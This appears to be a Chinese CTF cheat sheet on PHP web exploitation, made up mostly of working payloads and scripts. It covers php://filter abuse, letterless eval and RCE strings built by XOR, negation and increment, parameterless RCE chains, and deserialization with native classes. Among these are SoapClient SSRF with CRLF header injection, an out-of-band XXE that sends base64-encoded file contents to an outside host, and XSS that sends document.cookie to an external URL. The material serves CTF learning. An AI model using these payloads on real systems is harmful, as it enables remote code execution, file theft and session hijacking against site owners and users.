echo file_get_contents("php://filter/resource=a/convert.base64-decode/../../a.txt").PHP_EOL;

echo file_get_contents("php://filter/resource=a/%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65/../../a.txt").PHP_EOL;

echo file_get_contents("php://filter/resource=data:,2024<|string.strip_tags|/resource=/dev/null").PHP_EOL;#这里 string.strip_tag 把 "<" 以后的当作 html 标签全部杀了,所以只留下了 2024
#data:,2024 = data://text/plain,2024
#data:;base64,YWRtaW4 = data://text/plain;base64,YWRtaW4
echo file_get_contents("data:/localhost;base64,MjAyNA==");
//echo file_get_contents("php://filter/string.strip_tags/resource=1.txt");

对于 filter 的获取,先获取到 php://filter,然后指针向后挪动一位,(如果存在 write=read= 再往后推5或6个指针,当然如果不写也没问题,PHP会自己判断),后面所有的都在 filter 协议考虑范围内:用 “/“ 进行分割(如果存在多个再按照 “|” 分割),并进行一步 Urldecode,如果协议存在按照顺序调用,如果不存在的直接略过。
对于 resource 的获取,获取到第一个 resource= 字样后,后面都是他的文件路径,这里文件路径支持 目录穿越

其他伪协议表

协议 主要用途 allow_url_fopen 与 allow_url_include 要求
file:// 访问本地文件系统 都不需要
php://filter 文件内容过滤与编码转换 都不需要
php://input 读取原始POST数据 allow_url_fopen不需要
allow_url_include需要 (仅当被include等函数包含时)
php://memory/temp 内存或临时文件数据流 都不需要
data:// 数据流封装(Data URI) 两者都需要
http:// HTTP协议远程资源访问 两者都需要
https:// HTTPS协议远程资源访问 两者都需要
zip:// 读取ZIP压缩包内文件 都不需要
phar:// PHAR归档文件访问 都不需要
glob:// 文件路径模式匹配查找 都不需要

php 常见的语言结构

控制结构:if, else, while, for, foreach, switch, do

输出:echo, print

包含文件:include, include_once, require, require_once

变量处理:isset, unset, empty

其它:eval, exit, die, list, array()

无法通过动态函数调用。

php 注释绕过

  • 注释符号优先级小于 ?> 的了。所以我们只需要闭合然后再重新开就能执行代码了。
  • 换行符 %0a/%0d

php 精度溢出

1
2
3
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0)

$a = 9e-199

php 运算顺序

优先级 运算符 描述
1 clone, new 创建对象
2 ** 幂运算
3 ++, -- 递增/递减
4 ~, (int), (float), (string), (array), (object), (bool), @ 类型转换和错误控制
5 instanceof 类型判断
6 ! 逻辑非
7 *, /, % 算术运算
8 +, -, . 算术运算和字符串连接
9 <<, >> 位运算
10 <, <=, >, >= 比较运算
11 ==, !=, ===, !==, <>, <=> 比较运算
12 & 位与、引用
13 ^ 位异或
14 ` `
15 && 逻辑与
16 `
17 ?? NULL 合并
18 ? : 三元运算符
19 =, +=, -=, *=, **=, /=, .=, %=, &=, ` =, ^=, <<=, >>=`
20 and 逻辑与(低优先级)
21 xor 逻辑异或
22 or 逻辑或(低优先级)

php 弱比较

  • 两个0e开头纯数字的会被当作科学计数法解析
  • 0 和 0e开头后面无所谓的弱相等
  • 任意字符串和 true 弱相等
  • 自动弱类型转换
    • in_array
    • array_search

image-20260102125628605

php 参数特性

大小写不敏感

php代码天然对大小写不敏感。

特殊参数符号

PHP 会替换 ,+[ 等特殊符号为 _

但要是第一个是 [ 就会在把它替换为 _ 后就会停止替换。

$_REQUEST

POST覆盖,$_REQUEST 同时接受 GET 和 POST 的数据,并且 POST 具有更高的优先值,只需要同时 GET 和 POST 有相同的参数,在检测时 POST 的值就会覆盖 GET 的值从而绕过。

$_SERVER

不会进行 URL 解码。

php 函数调用

全局函数

1
2
3
4
5
6
7
8
9
<?php

function fucku(){
echo "fucku".PHP_EOL;
}

$a = "fucku";

$a();

类下的静态函数

1
2
3
4
5
6
7
8
9
10
11
<?php

class A{
function fucku(){
echo "fucku".PHP_EOL;
}
}

$a = "A::fucku";

$a();

非直接公开函数(PHP<8.2)

作用域如果不是顶级的函数,在编译阶段会先以一个 \0 开头的函数名被放入函数表中,在执行阶段于 DECLARE_FUNCTION 的处理器中才会将真正的函数名放入函数表。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$password = trim($_REQUEST['password'] ?? '');
$name = trim($_REQUEST['name'] ?? 'viewsource');
function viewsource() {show_source(__FILE__);}

if (strcmp(hash('sha256', $password), 'ca572756809c324632167240d208681a03b4bd483036581a6190789165e1387a') === 0) {//无法解决无法进入循环
function readflag() {
echo 'flag';
}
}

$name();
?>
1
'\0' + name + filename + ':' + start_lineno + '$' + rtd_key_counter
  • name:函数名
  • filename:PHP文件绝对路径
  • start_lineno:函数起始定义行号(以1为第一行)
  • rtd_key_counter:一个全局访问计数,每次执行会自增1,从0开始
1
2
\0func2/root/source/php-src/tests/web/ctf3.php:7$0
//这里 \0 url编码后就是 %00

trim 是用来在字符串首位去除空白字符的,但 调用函数 且当遇到 \ 时,php会认为这是在用 \phpinfo() 这种全局命名空间调用函数,所以不会对 \0 进行删除。

强网杯2025Ezphp

强网杯S9 Polaris战队Writeup - 星盟安全团队

无需声明,直接调用的解法:

直接调用类 test 下的即将声明的 readflag 方法,无需调用类的 readflag 方法进行声明。

先调用匿名类的 readflag 声明全局 readflag 然后再次调用的解法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 创建 obj1 用于触发文件上传
$obj1 = new test();
$obj1->f = 'test';
$obj1->key = 'class';
$obj1->readflag="14229955";
// 创建 obj2 用于声明全局函数 readflag()
$obj2 = new test();
$obj2->f = array("class@anonymous\0/var/www/html/index.php(1) : eval()'d
code:1$0", 'readflag');
$obj2->key = 'func';
// 创建 obj3 用于调用全局函数 readflag()
$obj3 = new test();
$obj3->f = 'readflag';
$obj3->key = 'func';
// 序列化对象数组
$array = array($obj1, $obj2,$obj3);
$serialized = serialize($array);

php 匿名类加载

裸漏的匿名类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if (isset($_GET['ezphpPhp8'])) {
highlight_file(__FILE__);
} else {
die("No");
}
$a = new class {
function __construct()
{
}

function getflag()
{
system('cat /flag');
}
};
unset($a);
$a = $_GET['ezphpPhp8'];
$f = new $a();
$f->getflag();
?>

跟上面非公开函数格式差不多:

1
2
"class@anonymous\0"+php文件绝对路径+":"+行号+"$"+rtd_key_counter//rtd_key_counter:一个全局访问计数,每次执行会自增1,从0开始
class@anonymous%00/var/www/html/flag.php:7$0

eval内的匿名类

强网杯2025 赛后复现 - xNftrOne - 博客园

1
2
3
<?php
eval('$b = new class{};');
echo get_class($b);
1
class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1$0//行号$序号

php 反射调用

php反射利用总结 · HacKerQWQ’s Studio

RCE大法

无字母数字 eval

进制/编码转换(PHP>=7)
1
2
3
4
5
"\x70\x68\x70\x69\x6e\x66\x6f"();#phpinfo(); //八进制转换
"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');//十六进制转换
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('id');#system('whoami');//unicode转换

{"username":"xx","password":"yy","__class__" : {"__base__" : {"is\u0076ip" : 1}}}//unicode转换
通过计算达成目的(PHP >= 7)

rce_or.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os

os.system("php rce_or.php") # 没有将php写入环境变量需手动运行

def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("rce_or.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)


# while True:
# param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
# data = {
# 'c': urllib.parse.unquote(param)
# }
# r = requests.post(url, data=data)
# print("\n[*] result:\n" + r.text)
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)

rce_or.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

rce_取反.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

function negateRce(){
fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

negateRce();
自增(PHP=5)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
1
?shell=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);
1
_=system("whoami");

无数字字母 system

上传临时文件,然后执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>命令执行-upload</title>
</head>
<body>
<form action="https://8b8486a3-6e53-472e-9acb-a96c6b6ab23b.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<label for="file">选择文件:</label>
<input type="file" name="file" />
<input type="submit" value="Upload" />
</form>

<!-- <script>
document.querySelector('form').submit();
</script> -->
</body>
</html>
1
. /tmp/????????+一个大写字母
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /?c=.%20/???/????????[@-[] HTTP/1.1
Host: 8b8486a3-6e53-472e-9acb-a96c6b6ab23b.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary7e85db62d4236557bbc2a910f7edb9b9
Content-Length: 233
Origin: http://127.0.0.1
Referer: http://127.0.0.1/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

------geckoformboundary7e85db62d4236557bbc2a910f7edb9b9
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain

#/bin/sh

cat flag.php
------geckoformboundary7e85db62d4236557bbc2a910f7edb9b9--

无引号

1
2
3
4
var_dump(scandir(chr(47)));
var_dump(file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103).chr(95).chr(49).chr(115).chr(95).chr(104).chr(101).chr(114).chr(101).chr(47).chr(102).chr(108).chr(97).chr(103).chr(95).chr(56).chr(51).chr(49).chr(98).chr(54).chr(57).chr(48).chr(49).chr(50).chr(99).chr(54).chr(55).chr(98).chr(51).chr(53).chr(102).chr(46).chr(112).chr(104).chr(112)));

readfile(implode(array(chr(47),chr(102),chr(108),chr(97),chr(103))));#如果不能有数字的话 可以用 ture 拼接

无参

无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客

顾名思义,调用函数的时候内部参数只能是函数,而不能有参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var_dump(scandir(current(localeconv()))); //查看当前目录下的文件
print_r(scandir(next(scandir(getcwd()))))//扫上级目录
highligth_file(next(array_reverse(scandir(current(localeconv())))));//读倒数第二个文件
show_source(end(getallheaders()));
assert(end(getallheaders()));

var_dump(end(getallheaders()));//在请求头最后一行写恶意php代码,局限于 apache

a=eval(end(current(get_defined_vars())));&b=system('ls /');//最通用的方法
?b=system("tac flag.php");&c=eval(pos(pos(get_defined_vars())));//current = pos 获取数组第一个

eval(hex2bin(session_id(session_start())));//把想要执行的命令进行十六进制编码后,替换掉‘Cookie:PHPSESSID=’后面的值

?code=eval(reset(array_reverse(current(get_defined_vars()))));&b=system("cat%20flag.php");

?1=system('cat flag.php');&code=eval(implode(reset(get_defined_vars())));

?exp=system(array_shift(apache_request_headers()));

短标签特性

短标签加反引号自动执行,反引号相当于 无回显的 exec_shell

<?= 就是 <?echo,我们让 exec_shell 有了回显。

1
<?`$_GET[2]`; 

过滤引号和所有读文件(PHP<8)

仅对 PHP<8,PHP版本变高后必须加引号才能被识别为 str。

1
echo(bin2hex("system('cat /etc/passwd');"));
1
2
3
4
php -r eval(hex2bin(substr(_刚才的内,1)))
加 _ 又去掉的原因:把16进制加上 _ 会识别为str 而不是数。

php -r eval(hex2bin(substr(_73797374656d2827636174202f6574632f70617373776427293b,1)));

过滤除了进制转换函数外的所有字母

2024ciscn初赛WP - “我不是二次元!”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//_GET=hex2bin(5f474554) hex2bin 函数把十六进制值的字符串转换为 ASCII 字符
//5f474554=dechex(1598506324)

//hex2bin将hex2bin看作是一个36进制数,用10制转换来表示该36进制数

//base_convert()函数将10进制数转化为36进制的hex2bin

//dechex --> 将10进制数转换为16进制,使得16进制数能够逃逸

$pi=base_convert(37907361743,10,36)//代替 hex2bin
(dechex(1598506324));

($$pi){pi}(($$pi){cos})

&pi=system&cos=cat /flag

存在 disable_function

  • 蚁剑插件绕过
  • 同义函数替代
    • 读文件:file_get_contents() / highlight_file() / show_source() / readfile() / readgzfile() / print_r(file()) = include() 非php文件 = require() 非php文件
  • phpinfo() 都不可用时:
1
2
3
var_dump(get_cfg_var("disable_functions"));
var_dump(get_cfg_var("open_basedir"));
var_dump(ini_get_all());
  • LD_PRELOAD劫持

原生类

SplFileObject

读取文件后返回第一行,可以配合伪协议过滤读出。

1
2
3
4
5
<?php
$a = new SplFileObject("php://filter/read=convert.base64-encode/resource=F.php");
echo $a;

echo base64_decode($a);

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}

class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}

class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}

if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}

class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}

class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}

$L = new teacher("ing",'department',1000);

$D = new classroom('one class',$L);

$a = new school($D,"ong");

$S = base64_encode(serialize($a));
//Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7aToxMDAwO319czoxMDoiaGVhZG1hc3RlciI7czozOiJvbmciO30=
echo $S;

GlobIterator,DirectoryIterator,FilesystemIterator

遍历文件目录。

1
$a = new GlobIterator("/*");foreach($a as $f){echo($f->__toString().'<br>');}
1
$a = new FilesystemIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
1
2
3
4
$iterator = new DirectoryIterator('C:\\');
echo $iterator->getPathname();
?>
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
1
2
3
4
<?php

$a = new DirectoryIterator("glob:///*f*");
echo $a;

SoapClient

该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call触发很简单,就是当对象访问不存在的方法的时候就会触发。

cftshow 259

1
2
3
4
5
6
7
8
9
<?php

$ua="test\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";

$client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua));

$client->AAA();
//echo urlencode(serialize($client));
?>

记得修改 Content-Length 使得下面失效。

直接传进去就行。

ZipArchive

主要利用的是ZipArchive::open,写入文件,把模式改成 overwrite 删除文件。

1
2
3
4
<?php
$a = new ZipArchive();
$a -> open("1.txt", ZipArchive::OVERWRITE);
$a -> open("1.txt", 8);

Error,Exception:XSS/Hash

XSS

Error:php7,定义一个 error 类,当反序列化的 object 被当作字符串调用,触发 _tostring

1
2
3
4
5
6
7
8
<?php
$a=new Error("<script>alert('xss')</script>");
echo urlencode(serialize($a));

<?php
$a=new Exception('<script>window.open("http://9f5ea2b6-a58d-4d22-82c7-eeb923f3d9a6.node5.buuoj.cn:81/"+document.cookie)</script>');
//一般Xss题目flag在Cookie里
echo urlencode(serialize($a));

Exception:php5,其他同理。

哈希

1
2
3
4
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo $b;

ReflectionFunctionAbstract

ReflectionFunctionAbstract::getDocComment(),获取类中各个函数注释内容

1
2
3
4
5
6
7
8
9
10
11
<?php
class Flag{
/**
* flag{test}
*/
public function givemeflag(){
return 123;
}
}
$a=new ReflectionMethod('Flag','givemeflag');
echo $a->getDocComment();

SimpleXMLElement

这个类 construct 的时候可以访问 xml 并带出文件内容。

evl.xml

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://192.168.42.128:1234/send.xml">
%int;
%all;
%send;
]>

send.xml

1
2
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=test.php">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://192.168.42.128:1234/?%payl;'>">

flag.php

1
2
<?php
$a = new SimpleXMLElement("http://192.168.42.128:1234/evl.xml",2,true);

当服务器访问时,先加载正常的 xml 文件,然后在跳板到 DTD 代码中执行具体操作。最后解码日志,得到文件具体内容。

image-20250911170041932

image-20250911165416168

ReflectionClass

查看类的信息,用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

class A{
public function hello(){
echo "qwq";
}
}
# PHP<=7.4
//ReflectionClass::export();

ReflectionClass::export('A');

# PHP >7.4

$a = new ReflectionClass("A");
echo $a;# __toString 方法

ReflectionMethod

读取注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class User {
/**
* 我是z3爸爸
*/
public function qwq(){
// 方法实现
}
/**
* er
*/
public function qqqqqqqq(){

}
}
$method2 = new ReflectionMethod('User', 'qqqqqqqq');
var_dump($method2->getDocComment());
var_dump($method2->__toString());

Closure

一个可以调任意函数的类。

1
Closure::fromCallable("system")("whoami");

反序列化

详见 PHP 反序列化。